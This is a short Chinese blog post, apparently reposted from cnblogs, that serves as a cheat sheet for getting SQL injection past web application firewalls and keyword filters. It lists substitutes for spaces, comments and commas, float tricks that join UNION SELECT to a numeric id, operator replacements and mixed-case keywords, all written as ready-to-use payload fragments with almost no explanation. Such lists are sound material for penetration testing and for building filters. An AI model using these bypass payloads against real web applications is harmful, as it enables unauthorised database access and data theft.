首页 > 数据库技术 > 详细

sql注入绕过

时间:2020-05-20 14:48:00      阅读:136      评论:0      收藏:0      [点我收藏+]

sql注入绕过

在实际情况中sql注入一般会被WAF或关键字过滤。

1.空格

%20、%09、%0B、%0C、%0D、%A0、%00、+、/**/、/*!*/、/*!5000*/、()、{}

2.注释

#、-- (后面跟一个空格符)、/**/

3.逗号

select ascii(mid(user(),1,1))=80  =>  select ascii(mid(user() from 1 for 1))=80

union select 1,2  =>  union select * from (select 1)a join (select 2)b

select ascii(mid(user(),1,1))=80  =>  select user() like ‘r%‘

4.浮点数

select * from users where id=8E0union select 1,2,3

select * from users where id =8.0union select 1,2,3

5.运算符

and  =>  &&

or  =>  ||

xor  =>  |

not  =>  !

=  =>  like,rlike,regexp

<>  =>  between and,greatest,least,=

6.大小写

UnIon,SeLecT

sql注入绕过

原文:https://www.cnblogs.com/Dpkg/p/12923299.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!